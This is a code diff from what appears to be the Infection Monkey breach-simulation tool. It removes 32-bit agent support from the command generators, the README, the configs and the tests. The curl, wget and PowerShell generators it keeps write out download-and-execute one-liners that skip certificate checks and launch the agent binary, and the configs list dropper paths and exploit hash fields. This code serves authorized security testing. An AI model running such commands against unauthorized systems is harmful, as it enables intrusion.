return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, osType, customUsername)}]
|
return [{type: 'Powershell', command: GenerateLocalWindowsPowershell(selectedIp, customUsername)}]
|
||||||
} else {
|
} else {
|
||||||
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, osType, customUsername)},
|
return [{type: 'CURL', command: GenerateLocalLinuxCurl(selectedIp, customUsername)},
|
||||||
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, osType, customUsername)}]
|
{type: 'WGET', command: GenerateLocalLinuxWget(selectedIp, customUsername)}]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
|
@ -5,7 +5,7 @@ import AuthComponent from '../../AuthComponent';
|
||||||
import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode';
|
import {faLaptopCode} from '@fortawesome/free-solid-svg-icons/faLaptopCode';
|
||||||
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
|
import InlineSelection from '../../ui-components/inline-selection/InlineSelection';
|
||||||
import {cloneDeep} from 'lodash';
|
import {cloneDeep} from 'lodash';
|
||||||
import {faCloud, faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
|
import {faExpandArrowsAlt} from '@fortawesome/free-solid-svg-icons';
|
||||||
import RunOnIslandButton from './RunOnIslandButton';
|
import RunOnIslandButton from './RunOnIslandButton';
|
||||||
import AWSRunButton from './RunOnAWS/AWSRunButton';
|
import AWSRunButton from './RunOnAWS/AWSRunButton';
|
||||||
|
|
||||||
|
|
|
@ -1,12 +1,8 @@
|
||||||
import {OS_TYPES} from '../utils/OsTypes';
|
export default function generateLocalLinuxCurl(ip, username) {
|
||||||
|
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-64 -k `
|
||||||
|
+ `-o monkey-linux-64; `
|
||||||
export default function generateLocalLinuxCurl(ip, osType, username) {
|
+ `chmod +x monkey-linux-64; `
|
||||||
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
|
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000;`;
|
||||||
let command = `curl https://${ip}:5000/api/monkey/download/monkey-linux-${bitText} -k `
|
|
||||||
+ `-o monkey-linux-${bitText}; `
|
|
||||||
+ `chmod +x monkey-linux-${bitText}; `
|
|
||||||
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000;`;
|
|
||||||
|
|
||||||
if (username != '') {
|
if (username != '') {
|
||||||
command = `su - ${username} -c "${command}"`;
|
command = `su - ${username} -c "${command}"`;
|
||||||
|
|
|
@ -1,12 +1,8 @@
|
||||||
import {OS_TYPES} from '../utils/OsTypes';
|
export default function generateLocalLinuxWget(ip, username) {
|
||||||
|
|
||||||
|
|
||||||
export default function generateLocalLinuxWget(ip, osType, username) {
|
|
||||||
let bitText = osType === OS_TYPES.LINUX_32 ? '32' : '64';
|
|
||||||
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
|
let command = `wget --no-check-certificate https://${ip}:5000/api/monkey/download/`
|
||||||
+ `monkey-linux-${bitText}; `
|
+ `monkey-linux-64; `
|
||||||
+ `chmod +x monkey-linux-${bitText}; `
|
+ `chmod +x monkey-linux-64; `
|
||||||
+ `./monkey-linux-${bitText} m0nk3y -s ${ip}:5000`;
|
+ `./monkey-linux-64 m0nk3y -s ${ip}:5000`;
|
||||||
|
|
||||||
if (username != '') {
|
if (username != '') {
|
||||||
command = `su - ${username} -c "${command}"`;
|
command = `su - ${username} -c "${command}"`;
|
||||||
|
|
|
@ -1,18 +1,14 @@
|
||||||
import {OS_TYPES} from '../utils/OsTypes';
|
function getAgentDownloadCommand(ip) {
|
||||||
|
|
||||||
|
|
||||||
function getAgentDownloadCommand(ip, osType) {
|
|
||||||
let bitText = osType === OS_TYPES.WINDOWS_32 ? '32' : '64';
|
|
||||||
return `$execCmd = @"\r\n`
|
return `$execCmd = @"\r\n`
|
||||||
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
|
+ `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {\`$true};`
|
||||||
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-${bitText}.exe',`
|
+ `(New-Object System.Net.WebClient).DownloadFile('https://${ip}:5000/api/monkey/download/monkey-windows-64.exe',`
|
||||||
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
|
+ `"""$env:TEMP\\monkey.exe""");Start-Process -FilePath '$env:TEMP\\monkey.exe' -ArgumentList 'm0nk3y -s ${ip}:5000';`
|
||||||
+ `\r\n"@; \r\n`
|
+ `\r\n"@; \r\n`
|
||||||
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
|
+ `Start-Process -FilePath powershell.exe -ArgumentList $execCmd`;
|
||||||
}
|
}
|
||||||
|
|
||||||
export default function generateLocalWindowsPowershell(ip, osType, username) {
|
export default function generateLocalWindowsPowershell(ip, username) {
|
||||||
let command = getAgentDownloadCommand(ip, osType)
|
let command = getAgentDownloadCommand(ip)
|
||||||
if (username !== '') {
|
if (username !== '') {
|
||||||
command += ` -Credential ${username}`;
|
command += ` -Credential ${username}`;
|
||||||
}
|
}
|
||||||
|
|
|
@ -1,6 +1,4 @@
|
||||||
export const OS_TYPES = {
|
export const OS_TYPES = {
|
||||||
WINDOWS_32: 'win32',
|
|
||||||
WINDOWS_64: 'win64',
|
WINDOWS_64: 'win64',
|
||||||
LINUX_32: 'linux32',
|
|
||||||
LINUX_64: 'linux64'
|
LINUX_64: 'linux64'
|
||||||
}
|
}
|
||||||
|
|
|
@ -46,7 +46,7 @@ function aggregateMultipleResultsPba(results) {
|
||||||
}
|
}
|
||||||
|
|
||||||
function modifyProcessListCollectionResult(result) {
|
function modifyProcessListCollectionResult(result) {
|
||||||
result[0] = "Found " + Object.keys(result[0]).length.toString() + " running processes";
|
result[0] = 'Found ' + Object.keys(result[0]).length.toString() + ' running processes';
|
||||||
}
|
}
|
||||||
|
|
||||||
// check for pbas with multiple results and aggregate their results
|
// check for pbas with multiple results and aggregate their results
|
||||||
|
|
|
@ -45,8 +45,6 @@
|
||||||
|
|
||||||
1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
|
1. Put Infection Monkey binaries inside monkey_island/cc/binaries (binaries can be found in releases on github or build from source)
|
||||||
monkey-linux-64 - monkey binary for linux 64bit
|
monkey-linux-64 - monkey binary for linux 64bit
|
||||||
monkey-linux-32 - monkey binary for linux 32bit
|
|
||||||
monkey-windows-32.exe - monkey binary for windows 32bit
|
|
||||||
monkey-windows-64.exe - monkey binary for windows 64bit
|
monkey-windows-64.exe - monkey binary for windows 64bit
|
||||||
|
|
||||||
1. Install npm
|
1. Install npm
|
||||||
|
@ -95,15 +93,10 @@
|
||||||
|
|
||||||
monkey-linux-64 - monkey binary for linux 64bit
|
monkey-linux-64 - monkey binary for linux 64bit
|
||||||
|
|
||||||
monkey-linux-32 - monkey binary for linux 32bit
|
|
||||||
|
|
||||||
monkey-windows-32.exe - monkey binary for windows 32bit
|
|
||||||
|
|
||||||
monkey-windows-64.exe - monkey binary for windows 64bit
|
monkey-windows-64.exe - monkey binary for windows 64bit
|
||||||
|
|
||||||
Also, if you're going to run monkeys on local machine execute:
|
Also, if you're going to run monkeys on local machine execute:
|
||||||
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
|
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-64`
|
||||||
- `chmod 755 ./monkey_island/cc/binaries/monkey-linux-32`
|
|
||||||
|
|
||||||
1. Setup MongoDB (Use one of the two following options):
|
1. Setup MongoDB (Use one of the two following options):
|
||||||
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:
|
- Download MongoDB and extract it to monkey/monkey_island/bin/mongodb:
|
||||||
|
|
|
@ -27,7 +27,6 @@
|
||||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||||
"dropper_set_date": true,
|
"dropper_set_date": true,
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||||
"exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"],
|
"exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"],
|
||||||
"exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"],
|
"exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"],
|
||||||
|
|
|
@ -104,7 +104,6 @@
|
||||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||||
"dropper_date_reference_path_linux": "/bin/sh",
|
"dropper_date_reference_path_linux": "/bin/sh",
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
|
||||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe"
|
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe"
|
||||||
},
|
},
|
||||||
"logging": {
|
"logging": {
|
||||||
|
|
|
@ -26,7 +26,6 @@ Config = namedtuple(
|
||||||
"exploit_password_list",
|
"exploit_password_list",
|
||||||
"exploit_lm_hash_list",
|
"exploit_lm_hash_list",
|
||||||
"exploit_ntlm_hash_list",
|
"exploit_ntlm_hash_list",
|
||||||
"dropper_target_path_win_32",
|
|
||||||
"dropper_target_path_win_64",
|
"dropper_target_path_win_64",
|
||||||
],
|
],
|
||||||
)
|
)
|
||||||
|
@ -52,7 +51,8 @@ def powershell_exploiter(monkeypatch):
|
||||||
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
monkeypatch.setattr(powershell, "AuthenticationError", AuthenticationErrorForTests)
|
||||||
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
monkeypatch.setattr(powershell, "is_windows_os", lambda: True)
|
||||||
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
# It's regrettable to mock out a private method on the PowerShellExploiter instance object, but
|
||||||
# it's necessary to avoid having to deal with the monkeyfs
|
# it's necessary to avoid having to deal with the monkeyfs. TODO: monkeyfs has been removed, so
|
||||||
|
# fix this.
|
||||||
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
monkeypatch.setattr(pe, "_write_virtual_file_to_local_path", lambda: None)
|
||||||
|
|
||||||
return pe
|
return pe
|
||||||
|
|
|
@ -16,7 +16,6 @@ HOST_AS_DICT = {
|
||||||
"os": {},
|
"os": {},
|
||||||
"services": {},
|
"services": {},
|
||||||
"icmp": False,
|
"icmp": False,
|
||||||
"monkey_exe": None,
|
|
||||||
"default_tunnel": None,
|
"default_tunnel": None,
|
||||||
"default_server": None,
|
"default_server": None,
|
||||||
}
|
}
|
||||||
|
@ -37,7 +36,13 @@ ERROR_MSG = "failed because yolo"
|
||||||
|
|
||||||
@pytest.fixture
|
@pytest.fixture
|
||||||
def exploit_telem_test_instance():
|
def exploit_telem_test_instance():
|
||||||
return ExploitTelem(EXPLOITER_NAME, HOST, ExploiterResultData(RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG))
|
return ExploitTelem(
|
||||||
|
EXPLOITER_NAME,
|
||||||
|
HOST,
|
||||||
|
ExploiterResultData(
|
||||||
|
RESULT, RESULT, OS_LINUX, EXPLOITER_INFO, EXPLOITER_ATTEMPTS, ERROR_MSG
|
||||||
|
),
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry):
|
def test_exploit_telem_send(exploit_telem_test_instance, spy_send_telemetry):
|
||||||
|
|
|
@ -14,7 +14,6 @@ HOST_AS_DICT = {
|
||||||
"os": {},
|
"os": {},
|
||||||
"services": {},
|
"services": {},
|
||||||
"icmp": False,
|
"icmp": False,
|
||||||
"monkey_exe": None,
|
|
||||||
"default_tunnel": None,
|
"default_tunnel": None,
|
||||||
"default_server": None,
|
"default_server": None,
|
||||||
}
|
}
|
||||||
|
|
|
@ -173,7 +173,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config):
|
||||||
expected_exploiters_config = {
|
expected_exploiters_config = {
|
||||||
"options": {
|
"options": {
|
||||||
"dropper_target_path_linux": "/tmp/monkey",
|
"dropper_target_path_linux": "/tmp/monkey",
|
||||||
"dropper_target_path_win_32": r"C:\Windows\temp\monkey32.exe",
|
|
||||||
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
"dropper_target_path_win_64": r"C:\Windows\temp\monkey64.exe",
|
||||||
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
|
"http_ports": [80, 443, 7001, 8008, 8080, 9200],
|
||||||
},
|
},
|
||||||
|
|
Loading…
Reference in New Issue